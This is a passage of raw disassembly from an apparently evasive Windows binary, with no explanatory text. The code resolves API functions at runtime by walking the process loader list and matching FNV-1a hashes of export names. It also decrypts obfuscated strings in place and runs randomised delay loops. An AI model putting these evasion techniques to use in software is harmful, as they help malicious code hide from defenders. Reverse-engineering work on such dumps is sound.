lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14006f150
jmp 0x14006f290
lea r9, [rbp + 0xc0]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14006f260
lea rdx, [rbp + 0xc0]
mov rcx, r10
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0xcd0]
call fcn.14004c110
mov dword [rbp + 0x9a8], 0x1388
mov dword [rbp + 0x9ac], 0x2710
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x9a8]
call fcn.140049d80
mov ebx, eax
test eax, eax
jle 0x14006f376
mov qword [rsp + 0x50], 0x384
nop
lea rcx, [rsp + 0x50]
call fcn.14004b670
movzx ecx, word [0x14013cd30]
mov word [rsp + 0x60], cx
cmp byte [0x14013cd31], r15b
je 0x14006f329
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x61], 0x38
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x14006f35b
test ebx, ebx
jg 0x14006f300
lea rdx, [0x14004b270]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x14006f300
mov eax, dword [0x14013cd34]
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f416
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f416
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f411
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f3f0
cmp r8d, 0x491e0a9c
je 0x14006f41b
test r9d, r9d
jne 0x14006f3d0
mov rax, qword [rax]
jmp 0x14006f3a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x14006f4c6
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rsp + 0x78]
pxor xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x14006f4ff
lea r9, [rsp + 0x78]
mov r8d, r15d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x14006f4d0
lea rcx, [rsp + 0x78]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f596
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f596
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f591
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f570
cmp r8d, 0x2fa62ca8
je 0x14006f59b
test r9d, r9d
jne 0x14006f550
mov rax, qword [rax]
jmp 0x14006f520
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
movups xmm0, xmmword [0x14013cd38]
movups xmmword [rbp + 0x2a8], xmm0
mov eax, dword [0x14013cd48]
mov dword [rbp + 0x2b8], eax
movzx eax, byte [0x14013cd4c]
mov byte [rbp + 0x2bc], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f676
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f676
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f671
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f650
cmp r8d, 0xe76fb4aa
je 0x14006f67b
test r9d, r9d
jne 0x14006f630
mov rax, qword [rax]
jmp 0x14006f600
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14006f7e7
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2ac]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006f6e0
cmp r8d, 0x15
jge 0x14006f830
movsxd rax, r8d
lea r9, [rbp + 0x2a8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14006f800
lea rcx, [rbp + 0x2a8]
call r11
mov eax, dword [0x14013cd50]
mov dword [rbp - 0x1c], eax
movzx eax, word [0x14013cd54]
mov word [rbp - 0x18], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14013cd56]
mov byte [rbp - 0x1c], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x1b], 0x38
xor byte [rbp - 0x1a], 0x39
xor byte [rbp - 0x19], 0x3a
xor byte [rbp - 0x18], 0x3b
xor byte [rbp - 0x17], 0x3c
xor al, 0x3d
mov byte [rbp - 0x16], al
lea rdx, [rbp - 0x1c]
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f926
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f926
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f921
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f900
cmp r8d, 0x2fa62ca8
je 0x14006f92b
test r9d, r9d
jne 0x14006f8e0
mov rax, qword [rax]
jmp 0x14006f8b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x14013cd58]
mov dword [rsp + 0x7c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f9e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f9e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f9e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f9c0
cmp r8d, 0x491e0a9c
je 0x14006f9eb
test r9d, r9d
jne 0x14006f9a0
mov rax, qword [rax]
jmp 0x14006f970
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x14006fa96
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rsp + 0x7c]
pxor xmm2, xmm0
movd dword [rsp + 0x7c], xmm2
jmp 0x14006facf
lea r9, [rsp + 0x7c]
mov r8d, r15d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x14006faa0
lea rcx, [rsp + 0x7c]
call r11
movups xmm0, xmmword [0x14013cd60]
movups xmmword [rbp + 0x2c0], xmm0
mov eax, dword [0x14013cd70]
mov dword [rbp + 0x2d0], eax
movzx eax, byte [0x14013cd74]
mov byte [rbp + 0x2d4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006fb86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006fb86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006fb81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006fb60
cmp r8d, 0xe76fb4aa
je 0x14006fb8b
test r9d, r9d
jne 0x14006fb40
mov rax, qword [rax]
jmp 0x14006fb10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14006fcf7
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2c4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006fbf0
cmp r8d, 0x15
jge 0x14006fd40
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14006fd10
lea rcx, [rbp + 0x2c0]
call r11
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movsd xmm1, qword [str.______O]
movups xmm0, xmmword [0x14013cd78]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x590], al
movsd qword [rbp + 0x588], xmm1
movups xmmword [rbp + 0x578], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14006fed7
movdqa xmm5, xmmword [0x1400ea960]
movdqa xmm4, xmmword [0x14013d5e0]
movd xmm6, r13d
movdqa xmm7, xmmword [0x14013d4c0]
movd xmm8, esi
movdqa xmm0, xmmword [0x14013d530]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x57c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14006fdd0
cmp r8d, 0x19
jge 0x14006ff20
movsxd rax, r8d
lea r9, [rbp + 0x578]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14006fef0
lea rdx, [rbp + 0x578]
mov rcx, r10
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x2060]
call fcn.14004c110
mov dword [rbp + 0x998], 0x9c4
mov dword [rbp + 0x99c], 0xfa0
lea rdx, [rbp + 0x2060]
lea rcx, [rbp + 0x998]
call fcn.140049d80
mov ebx, eax
test eax, eax
jle 0x140070006
mov qword [rsp + 0x50], 0x384
nop
lea rcx, [rsp + 0x50]
call fcn.14004b670
movzx ecx, word [0x14013cd94]
mov word [rsp + 0x64], cx
cmp byte [0x14013cd95], r15b
je 0x14006ffb9
mov byte [rsp + 0x64], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x65], 0x38
lea rdx, [rsp + 0x64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140049bb0
lea rdx, [0x14004b2b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x14006ffeb
test ebx, ebx
jg 0x14006ff90
lea rdx, [0x14004b270]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, r15d
test ebx, ebx
jg 0x14006ff90
mov eax, dword [0x14013cd98]
mov dword [rbp - 0x80], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070091
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140070070
cmp r8d, 0x491e0a9c
je 0x14007009b
test r9d, r9d
jne 0x140070050
mov rax, qword [rax]
jmp 0x140070020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140070144
movdqa xmm3, xmmword [0x1400ea960]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14013d5e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14013d5e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14013d4c0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14013d4e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14013d530]
movd xmm0, dword [rbp - 0x80]
pxor xmm2, xmm0
movd dword [rbp - 0x80], xmm2
jmp 0x14007017f
lea r9, [rbp - 0x80]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r13d
jl 0x140070150
lea rcx, [rbp - 0x80]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070216
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070216
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070211
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400701f0
cmp r8d, 0x2fa62ca8
je 0x14007021b
test r9d, r9d
jne 0x1400701d0
mov rax, qword [rax]
jmp 0x1400701a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x1f4
call rdx
movups xmm0, xmmword [0x14013cda0]
movups xmmword [rbp + 0x2d8], xmm0
mov eax, dword [0x14013cdb0]
mov dword [rbp + 0x2e8], eax
movzx eax, byte [0x14013cdb4]
mov byte [rbp + 0x2ec], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
